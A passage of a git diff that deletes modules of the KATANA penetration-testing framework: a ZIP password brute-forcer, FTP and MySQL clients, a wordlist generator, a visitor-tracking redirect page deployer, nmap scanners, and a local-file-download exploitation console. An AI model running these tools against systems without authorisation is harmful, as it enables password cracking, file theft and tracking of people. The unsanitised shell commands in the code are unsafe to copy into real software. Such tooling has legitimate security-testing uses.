= palabra.split("\n") - try: - ZIParch.extractall(pwd=str(palabraLlegada[0])) - if True: - ping.savetwo("BruteForceZIP",defaultarch,palabraLlegada[0]) - print "\n-"+Suf+" file Cracked with =",str(palabraLlegada[0])+"\n" - return 1 - except: - print " "+Alr+" Checking with ",str(palabraLlegada[0]) - except: - Errors.Errors(event=sys.exc_info(), info=defaultarch) - except: - Errors.Errors(event=sys.exc_info(), info=defaultdicc) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info(), info=False) - btzip(0) diff --git a/scripts/ClientFTP.py b/scripts/ClientFTP.py deleted file mode 100644 index a56335c..0000000 --- a/scripts/ClientFTP.py +++ /dev/null @@ -1,153 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# @KATANA # -# Modules : Client FTP # -# Script by : RedToor # -# Date : 03/03/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Katana Core # -from core.design import * # -from core import help # -from core import ping # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Libraries # -from lib.ftplib.ftplib import FTP -import subprocess # -import os # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -defaulthost="127.0.0.1" -defaultport="21" -defaultuser="anonymous" -defaultpass="pass" -# :-:-:-:-:-:-:-:-:-:-:-:-:- # - -def run(target,port,username,password): - global defaulthost,defaultport,defaultuser,defaultpass - defaulthost=target - defaultport=port - defaultuser=username - defaultpass=password - cftp(1) - -def cftp(run): - try: - global defaulthost,defaultport,defaultuser,defaultpass - if run!=1: - actions=raw_input(d.prompt("clt/ftp")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.descrip("user","yes","Username",defaultuser) - d.descrip("pass","yes","Password",defaultpass) - print "" - cftp(0) - elif actions[0:10] == "set target": - defaulthost = actions[11:] - defaulthost = defaulthost.replace("http://", "") - d.change("target",defaulthost) - cftp(0) - elif actions[0:8] == "set port": - defaultport = actions[9:] - d.change("port",defaultport) - cftp(0) - elif actions[0:8] == "set user": - defaultuser = actions[9:] - d.change("user",defaultuser) - cftp(0) - elif actions[0:8] == "set pass": - defaultpass = actions[9:] - d.change("pass",defaultpass) - cftp(0) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions=="run" or actions=="r": - d.run() - try: - ftp = FTP(defaulthost) - if True: - try: - ftp.login(defaultuser,defaultpass) - if True: - try: - cmd="nop" - patch="" - print "\n "+Hlp+" FTP Client help\n" - print " ----------------------------------------" - print " |"+colors[6]+"Commd"+colors[0]+"| "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+" |" - print " ----------------------------------------" - print " |ls | list files | ls |" - print " |cd | change dir | cd css |" - print " |mk | create dir | mk images |" - print " |rm | remove file | remove config.js | " - print " |rmd | remove dir | remove sex |" - print " |get | get file | get index.php |" - print " |put | up file | put login.php |" - print " ----------------------------------------" - print "" - while(cmd!="exit"): - cmd = raw_input(colors[1]+" CLT~"+colors[3]+"ftp/"+patch+"> "+colors[0]) - if cmd == "ls": - ftp.retrlines("LIST") - if cmd[0:2] == "cd": - try: - ftp.cwd(cmd[3:]) - if True: - patch=cmd[3:] - if patch == "..": - patch="" - except: - print " ["+colors[1]+"-"+colors[0]+"] Error: directory wrong." - if cmd[0:3] == "get": - lfile=cmd[4:].replace("\n","") - try: - ftp.retrbinary('RETR '+lfile,open(lfile,'wb').write) - if True: - subprocess.Popen("cp "+lfile+" /root/Desktop/;rm "+lfile+"", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() - print " ["+colors[1]+"-"+colors[0]+"] Saved, /root/Desktop/"+lfile - except: - print " ["+colors[1]+"-"+colors[0]+"] Error: file not found." - if cmd[0:3] == "put": - lfile=cmd[4:].replace("\n","") - w = open(lfile, 'rb') - try: - ftp.storbinary("STOR r.r",w) - except: - print " ["+colors[1]+"-"+colors[0]+"] Error: file wrong." - if cmd[0:2] == "rm": - try: - ftp.delete(cmd[3:]) - except: - print " ["+colors[1]+"-"+colors[0]+"] Error: file not found." - if cmd[0:3] == "rmd": - pat=cmd[4:].replace("\n","") - ftp.rmd(pat) - if cmd[0:2] == "mk": - try: - ftp.mkd(cmd[3:]) - except: - print " ["+colors[1]+"-"+colors[0]+"] Error: directory wrong." - - except(KeyboardInterrupt): - d.kbi() - except Exception,e: - print(" ["+colors[1]+"-"+colors[0]+"] Timeout.", e) - except: - d.nomatch() - except: - d.off() - else: - d.nocommand() - except: - d.kbi() - exit() - cftp(0) diff --git a/scripts/ClientMYSQL.py b/scripts/ClientMYSQL.py deleted file mode 100644 index ed2d3ac..0000000 --- a/scripts/ClientMYSQL.py +++ /dev/null @@ -1,118 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# @KATANA # -# Module : Client MYSQL # -# Script by : RedToor # -# Date : 15/05/2015 # -# Version : 1.1 # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Libraries # -import socket # -import MySQLdb # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -defaulthost=LOCAL_IP -defaultport=SQL_PORT -defaultuser=USERNAME -defaultpass=PASSWORD -# :-:-:-:-:-:-:-:-:-:-:-:-:- # - -def run(target,port,username,password): - global defaulthost,defaultport,defaultuser,defaultpass - defaulthost=target - defaultport=port - defaultuser=username - defaultpass=password - cmysql(1) - - -def cmysql(run): - global defaulthost,defaultport,defaultuser,defaultpass - try: - if run!=1: - actions=raw_input(d.prompt("clt/sql")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.descrip("user","yes","Username",defaultuser) - d.descrip("pass","yes","Password",defaultpass) - d.space() - cmysql(0) - elif actions[0:10] == "set target": - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set port": - defaultport=ping.update(defaultport,actions,"port") - d.change("port",defaultport) - elif actions[0:8] == "set user": - defaultuser=ping.update(defaultuser,actions,"user") - d.change("user",defaultuser) - elif actions[0:8] == "set pass": - defaultpass=ping.update(defaultpass,actions,"pass") - d.change("pass",defaultpass) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions=="run" or actions=="r": - d.run() - try: - ping.live(defaulthost,defaultport) - if True: - try: - con=MySQLdb.connect(defaulthost, defaultuser, defaultpass,"") - if True: - try: - cmd="nop" - print "\n "+Hlp+" SQL Client help\n" - print " -------------------------------------------------------------------------------------------------------" - print " |"+colors[6]+"Commd"+colors[0]+" | "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+" |" - print " -------------------------------------------------------------------------------------------------------" - print " |show databases | list databases | show databases |" - print " |use | select database | use user_table |" - print " |show tables | list tables | show tables |" - print " |create database | create databases| create database USERS | " - print " |create table | create tables | create table EMAILS (id INT PRIMARY KEY, name VARCHAR(20)) | " - print " |drop database | drop databases | drop database USERS | " - print " |drop table | drop tables | drop table EMAIL | " - print " |insert | insert data | insert into EMAILS values ( '2', 'Dean@mail.ru' ) | " - print " |update | update data | update EMAILS set name='Willy' where id=1 | " - print " |select | select data | select id, name from EMAILS | " - print " -------------------------------------------------------------------------------------------------------" - print "" - while(cmd!="exit"): - cmd = raw_input(d.Client_prompt('sql')) - cur=con.cursor() - try: - tor=cur.execute(cmd) - if True: - for x in range(tor): - print cur.fetchone() - except: - print " "+Bad+" No command '"+cmd+"' found" - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - except: - Errors.Errors(event=sys.exc_info(), info=defaulthost+":"+defaultport) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - cmysql(0) diff --git a/scripts/GenDic.py b/scripts/GenDic.py deleted file mode 100644 index 2f48e09..0000000 --- a/scripts/GenDic.py +++ /dev/null @@ -1,168 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# @KATANA # -# Modules : GenDictionary # -# Script by : Uknowk # -# Adated by : RedToor # -# Date : 07/07/2015 # -# Version : 2.1 # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Libraries # -import time # -import os # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -defaultdic="/root/password-gen-katana.txt" -defaultlon=DEFAUTL_LONGITED -defaultstr="chars_min" -# :-:-:-:-:-:-:-:-:-:-:-:-:- # - -def run(dictionary, length, types): - global defaultdic,defaultlon,defaultstr - defaultdic=dictionary - defaultlon=defaultlon - defaultstr=types - Gendic(1) - -def Gendic(run): - try: - global defaultdic,defaultlon,defaultstr - if run!=1: - actions=raw_input(d.prompt("mc/gendic")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("path","yes","Output file",defaultdic) - d.descrip("long","yes","Longitude",defaultlon) - d.descrip("type","yes","Type matrix",defaultstr) - d.helpAUX() - print " "+colors[7]+"Type Description"+colors[0] - print " chars_min = [a,b,c,...,z]" - print " chars_may = [A,B,C,...,Z]" - print " chars_num = [0,1,2,...,9]" - print " chars_mix = [a,b,...,0,1]" - d.space() - Gendic(0) - elif actions[0:8] == "set path": - defaultdic=ping.update(defaultdic,actions,"path") - d.change("path",defaultdic) - elif actions[0:8] == "set long": - defaultlon=ping.update(defaultstr,actions,"long") - d.change("long",defaultlon) - elif actions[0:8] == "set type": - defaultstr = actions[9:] - if defaultstr != "chars_min" and defaultstr != "chars_may" and defaultstr != "chars_num" and defaultstr != "chars_mix": - print " "+Alr+" Error to set type, use chars_min, chars_mix, chars_may or chars_num" - defaultstr="chars_num" - Gendic(0) - else: - defaultstr=defaultstr - d.change("type",defaultstr) - Gendic(0) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions=="run" or actions=="r": - d.run() - try: - Maxima=1 - long_max = long(defaultlon) - long_min = long(defaultlon) - char_null = [''] - chars_min = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] - chars_may = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] - chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] - chars_spe = ['.', '-', '_', '/', '@'] - permitidos = [] - permitidos += char_null - if defaultstr == "chars_num": - permitidos += chars_num - if defaultstr == "chars_may": - permitidos += chars_may - if defaultstr == "chars_min": - permitidos += chars_min - if defaultstr == "chars_mix": - permitidos +=chars_min - permitidos +=chars_num - total_chars = len(permitidos) - char_n_max = total_chars - 1 - cadena = [] - for chars in range(0, long_max): - cadena += [0] - for i in range (1, long_min+1): - cadena[-(i)] = 1 - cadena_max = [] - for chars in range(0, long_max): - cadena_max += [ total_chars -1 ] - def toClave(cadena1): - password = "" - for indice in cadena1: - password += permitidos[indice] - return password - def isMax(cadena1): - if toClave(cadena1) != toClave(cadena_max): - return False - return True - def aumentarCadena(cadena1): - unidad = 1 - acarreo = 0 - for digito in range(1,long_max +1): - if cadena[-(digito)] < char_n_max: - if unidad == 1: - cadena[-(digito)] += 1 - unidad = 0 - return cadena1 - elif acarreo == 1: - cadena[-(digito)] += 1 - acarreo = 0 - return cadena1 - else: - cadena[-(digito)] = 1 - acarreo = 1 - return cadena1 - for number_total in cadena_max: - Maxima=Maxima*number_total - procent=int(Maxima)/10 - counter=0 - porcent=0 - print " "+Alr+" Creating file... ",ping.status_cmd("echo >"+defaultdic, "\t\t\t") - print " "+Alr+" Generating... ["+str(Maxima)+"] Words to Generate "+str(porcent)+"% Complete" - fichero = open(defaultdic, 'w') - bucle = True - while bucle: - password = toClave(cadena) - fichero.write(password + '\n') - counter=counter+1 - if procent == counter: - procent=procent+procent - porcent=porcent+20 - print " "+War+" "+str(porcent)+"% Porcent Complete" - if isMax(cadena): - porcent=porcent+20 - print " "+War+" "+str(porcent)+"% Porcent Complete" - bucle = False - cadena = aumentarCadena(cadena) - print(" "+Suf+" Completed, output file in "+defaultdic) - d.space() - fichero.close() - except: - Errors.Errors(event=sys.exc_info(), info=False) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info(), info=False) - Gendic(0) diff --git a/scripts/GetDataReport.py b/scripts/GetDataReport.py deleted file mode 100644 index 4afbcfa..0000000 --- a/scripts/GetDataReport.py +++ /dev/null @@ -1,87 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : GetDataReport # -# Script by : RedToor # -# Date : 02/03/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -import socket # -import subprocess # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaultred="www.google.com" -defaultjav="true" -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # - -def run(target, js): - global defaultred,defaultjav - defaultred=target - defaultjav=js - getdatareport(1) - -def getdatareport(run): - try: - global defaultred,defaultjav - if run!=1: - actions=raw_input(d.prompt("set/gdreport")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("link","yes","redirectly",defaultred) - d.descrip("java","no","JS for Geo",defaultjav) - d.space() - elif actions[0:8] == "set link": - defaultred=ping.update(defaultred,actions,"link") - d.change("link",defaultred) - elif actions[0:9] == "set javas": - defaultjav = actions[10:] - if defaultjav == "true" or defaultjav == "false": - d.change("javas",defaultjav) - else: - d.nodataallow() - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions=="run" or actions=="r": - d.run() - try: - print " "+Alr+" Setting files",ping.status_cmd('echo "" > '+PATCH_WWW+'/appconfig.php & echo ',"\t\t\t\t") - print " "+Alr+" Coping files to server",ping.status_cmd("cp files/getdatareport/* "+PATCH_WWW,"\t\t\t") - print " "+Alr+" Giving privileges to files",ping.status_cmd("chmod -R 777 "+PATCH_WWW,"\t\t") - if True: - try: - print " "+Alr+" Starting Apache Server",ping.status_cmd("service apache2 start","\t\t\t") - d.go("http://127.0.0.1/redirect.php?id=1337") - raw_input(" "+Hlp+" Press any key for Stop GetDataReport") - print(" "+Alr+" Stoping Process") - print " "+Alr+" Removing files",ping.status_cmd("rm "+PATCH_WWW+"/redirect.php "+PATCH_WWW+"/appconfig.php "+PATCH_WWW+"/jquery.js","\t\t\t\t") - print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t") - except: - print "" - print(" "+Alr+" Stoping Process") - print " "+Alr+" Removing files",ping.status_cmd("rm "+PATCH_WWW+"/redirect.php "+PATCH_WWW+"appconfig.php "+PATCH_WWW+"/jquery.js","\t\t\t\t") - print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t") - print "" - getdatareport(0) - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - getdatareport(0) diff --git a/scripts/Iandl.py b/scripts/Iandl.py deleted file mode 100644 index 49d2c07..0000000 --- a/scripts/Iandl.py +++ /dev/null @@ -1,29 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# @KATANA # -# Module : I and I # -# Script by : RedToor # -# Date : 30/08/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Katana Core # -from core.design import * # -from core import help # -from core import ping # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Libraries # -import time # -import commands # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # - -def iandi(): - d.run() - d.space() - print " IP Local : ",ping.myip() - ping.interfaces(1) - ping.get_gateway(1) - ping.my_mac_address(1) - ping.get_external_ip() - print " Username : ",commands.getoutput('whoami') - print " OS : ",commands.getoutput('uname') - print " Version : ",commands.getoutput('uname -r') - return 1 diff --git a/scripts/Joomscan.py b/scripts/Joomscan.py deleted file mode 100644 index 003d188..0000000 --- a/scripts/Joomscan.py +++ /dev/null @@ -1,70 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# @KATANA # -# Modules : Joomscan runer # -# Script by : RedToor # -# Date : 26/05/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Libraries # -import subprocess # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -defaulthost="127.0.0.1" -defaultport="80" -# :-:-:-:-:-:-:-:-:-:-:-:-:- # - -def run(target,port): - global defaulthost,defaultport - defaulthost=target - defaultport=port - xjoomla(1) - -def xjoomla(run): - try: - global defaulthost,defaultport - if run!=1: - actions=raw_input(d.prompt("web/joomscan")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - print "" - elif actions[0:10] == "set target": - defaulthost = actions[11:] - d.change("target",defaulthost) - xjoomla(0) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - return - elif actions=="run" or actions=="r": - d.run() - try: - ping.live(defaulthost,defaultport) - if True: - try: - subprocess.call('cd /pentest/web/joomscan/;./joomscan.pl -u '+defaulthost+":"+defaultport, shell=True) - except(KeyboardInterrupt): - d.kbi() - except: - d.off() - else: - d.nocommand() - except: - d.kbi() - exit() - xjoomla(0) diff --git a/scripts/LANScanner.py b/scripts/LANScanner.py deleted file mode 100644 index 8397250..0000000 --- a/scripts/LANScanner.py +++ /dev/null @@ -1,103 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : Host live LAN # -# Script by : RedToor # -# Date : 22/08/2015 # -# Version : 2.0 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -from xml.dom import minidom -import xml.etree.ElementTree as ET -import commands -import re -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaultnet=MY_IP -defaulttyp="fast" -IPs=[] -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # - -def run(nets, types): - global defaultnet,defaulttyp - defaultnet=nets - defaulttyp=types - hostl(1) - - -def hostl(run): - global defaultnet,defaulttyp - try: - if run!=1: - actions=raw_input(d.prompt("net/lanlive")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("nets","yes","Local area net",defaultnet) - #d.descrip("type","no","type scan",defaulttyp) - d.helpAUX() - if ping.conneted()!=False: - print " You IP : ",ping.myip() - else: - print d.noconnect() - #print " Type : {fast}{intense}" - d.space() - hostl(0) - elif actions[0:8] == "set nets": - defaultnet=ping.update(defaultnet,actions,"nets") - d.change("nets",defaultnet) - elif actions[0:8] == "set type": - defaulttyp=ping.update(defaulttyp,actions,"type") - d.change("type",defaulttyp) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions[0:5]=="save:": - ping.SaveVariable(secuence=actions, matrix=IPs) - elif actions=="run" or actions=="r": - d.run() - try: - d.space() - commands.getoutput(NMAP_PATH+' -sn '+str(defaultnet)+'/24 -oX tmp/ips.xml > null') - GateWay=ping.get_gateway(2) - tree = ET.parse('tmp/ips.xml') - root = tree.getroot() - IPf=0 - counter=0 - IP="" - for host in root.findall('host'): - for hosted in host.findall('address'): - if hosted.get('addrtype') == "ipv4": - IPf=hosted.get('addr') - else: - if GateWay == IPf : - IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0] - IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor'))) - print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0] - - for HOST in IPs: - counter=counter+1 - print " ["+str(counter)+"]"+HOST - d.space() - commands.getoutput('rm tmp/ips.xml > null') - except: - Errors.Errors(event=sys.exc_info(), info=False) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info(), info=False) - hostl(0) diff --git a/scripts/LFDconsole.py b/scripts/LFDconsole.py deleted file mode 100644 index dc7d4e7..0000000 --- a/scripts/LFDconsole.py +++ /dev/null @@ -1,131 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : LFD Console # -# Script by : RedToor # -# Date : 14/01/2016 # -# Version : 1.0 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -import httplib,urllib # -import urllib2 # -import os # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaulthost=LOCAL_IP -defaultport=HTTP_PORT -defaultfile="/download.php" -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # - -def run(target, files, port): - global defaulthost,defaultport,defaultfile - defaulthost=target - defaultport=port - defaultfile=files - LFDconsole(1) - - -def LFDconsole(run): - global defaulthost,defaultfile,defaultport - try: - if run!=1: - actions=raw_input(d.prompt("web/lfd-con")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP, DNS Target",defaulthost) - d.descrip("patch","yes","Path file vul",defaultfile) - d.descrip("port","no","Port service",defaultport) - d.space() - LFDconsole(0) - elif actions[0:9] == "set patch": - defaultfile=ping.update(defaultfile,actions,"patch") - d.change("patch",defaultfile) - elif actions[0:10] == "set target": - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set port": - defaultport=ping.update(defaultport,actions,"port") - d.change("port",defaultport) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions=="run" or actions=="r": - d.run() - try: - ping.live(defaulthost,defaultport) - if True: - connection = httplib.HTTPConnection(defaulthost,defaultport) - connection.request("GET",defaultfile) - response = connection.getresponse() - if response.status == 200: - print " "+Suf+" File response correctly." - d.space() - print "\n "+Hlp+" LFD Console help\n" - print " ------------------------------------------" - print " |"+colors[6]+"Command "+colors[0]+"| "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+" |" - print " ------------------------------------------" - print " | get | Download file | get index.php |" - print " ------------------------------------------" - d.space() - command=0 - while command!="exit": - command=raw_input(d.Client_prompt("LFD")) - if command[:3] == "get": - submit=command[4:] - try: - url = "http://"+defaulthost+defaultfile+"?"+submit - file_name = url.split('/')[-1] - u = urllib2.urlopen(url) - f = open("tmp/"+file_name, 'wb') - meta = u.info() - try: - file_size = int(meta.getheaders("Content-Length")[0]) - if file_size != 0: - print " "+Alr+" Downloading %s Bytes: %s" % (file_name, file_size) - file_size_dl = 0 - block_sz = 8192 - while True: - buffer = u.read(block_sz) - if not buffer: - break - file_size_dl += len(buffer) - f.write(buffer) - status = r"%10d [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size) - status = status + chr(8)*(len(status)+1) - print " "+Suf+" Completed "+status - f.close() - print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n" - os.system("cat 'tmp/"+file_name+"' -b -v ") - os.system("rm 'tmp/"+file_name+"'") - print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n" - else: - print " "+War+" File empy or no exist." - except: - Errors.Errors(event=sys.exc_info(), info=url) - except: - Errors.Errors(event=sys.exc_info(), info=defaulthost+":"+defaultport) - else: - print " "+Bad+" File Not response correctly." - d.space() - except: - Errors.Errors(event=sys.exc_info(), info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info(), info=False) - LFDconsole(0) diff --git a/scripts/PortScanner.py b/scripts/PortScanner.py deleted file mode 100644 index 8cea61f..0000000 --- a/scripts/PortScanner.py +++ /dev/null @@ -1,175 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : Port Scanner # -# Script by : RedToor # -# Date : 28/11/2015 # -# Version : 1.1 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -from xml.dom import minidom -import xml.etree.ElementTree as ET -import commands -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaultnet="192.168.1.215" -defaulttyp="p-0" -parameter="-T4 -A -v" -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # - -def run(target, types): - global defaultnet,defaulttyp - defaultnet=target - defaulttyp=types - PortScanner(1) - - -def PortScanner(run): - global defaultnet,defaulttyp,parameter - try: - if run!=1: - actions=raw_input(d.prompt("net/portscan")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaultnet) - d.descrip("type","no","Type of scan",defaulttyp) - d.space() - d.helpAUX() - print " "+colors[7]+"Type Description Speed"+colors[0] - print " [p-0] Intense scan slow" - print " [p-1] Intense scan plus UDP slow" - print " [p-2] Intense scan, all TCP ports very slow" - print " [p-3] Intense scan, no ping slow" - print " [p-4] Ping scan fast" - print " [p-5] Quick scan fast" - print " [p-6] Quick scan plus fast" - print " [p-7] Quick traceroute fast" - print " [p-8] Regular scan slow" - print " [p-9] Slow comprehensive scan fast" - d.space() - PortScanner(0) - elif actions[0:10] == "set target": - defaultnet=ping.update(defaultnet,actions,"target") - d.change("target",defaultnet) - elif actions[0:8] == "set type": - defaulttyp=ping.update(defaultnet,actions,"type") - if defaulttyp=="p-0": - parameter="-T4 -A -v" - elif defaulttyp=="p-1": - parameter="-sS -sU -T4 -A -v" - elif defaulttyp=="p-2": - parameter="-p 1-65535 -T4 -A -v" - elif defaulttyp=="p-3": - parameter="-T4 -A -v -Pn" - elif defaulttyp=="p-4": - parameter="-sn" - elif defaulttyp=="p-5": - parameter="-T4 -F" - elif defaulttyp=="p-6": - parameter="-sV -T4 -O -F --version-light" - elif defaulttyp=="p-7": - parameter="-sn --traceroute" - elif defaulttyp=="p-8": - parameter="" - elif defaulttyp=="p-9": - parameter="-sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script 'default or (discovery and safe)'" - else: - defaulttyp="p-0" - print " "+Bad+" Type not allow, use show options or sop and see Auxiliar help." - PortScanner(0) - defaulttyp=ping.update(defaulttyp,actions,"type") - d.change("type",defaulttyp) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions=="run" or actions=="r": - d.run() - try: - print " "+Alr+" Scanning Target: "+defaultnet+" wait it may take a few minutes." - OSMATCHs=[] - SERVICEs=[] - INFORMEs=[] - MAC="Unknow" - VENDOR="Unknow" - d.space() - commands.getoutput(NMAP_PATH+" "+parameter+" "+defaultnet+" -oX tmp/portScanner-tmp.xml > null") - tree = ET.parse('tmp/portScanner-tmp.xml') - root = tree.getroot() - for host in root.findall('host'): - for address in host.findall('address'): - p=address.get('addr') - if not address.get('vendor'): - VENDOR=VENDOR - else: - VENDOR=address.get('vendor') - if p.find(":") <= 0 : - IP=address.get('addr') - else: - MAC=address.get('addr') - - for ports in host.findall('ports'): - for port in ports.findall('port'): - PROTOCOL=port.get('protocol') - PORT=port.get('portid') - for service in port.findall('service'): - if not service.get('product'): - product="{NULL}" - version="{NULL}" - info="{NULL}" - else: - product=service.get('product') - version=service.get('version') - info=service.get('extrainfo') - product=str("{NULL}" if product is None else product) - version=str("{NULL}" if version is None else version) - info=str("{NULL}" if info is None else info) - SERVICEs.append(colors[7]+service.get('name')+colors[0]+" ["+product+"] "+version+info+" "+colors[10]+colors[3]+PROTOCOL+"-Port: "+PORT+colors[0]) - - for hostscript in 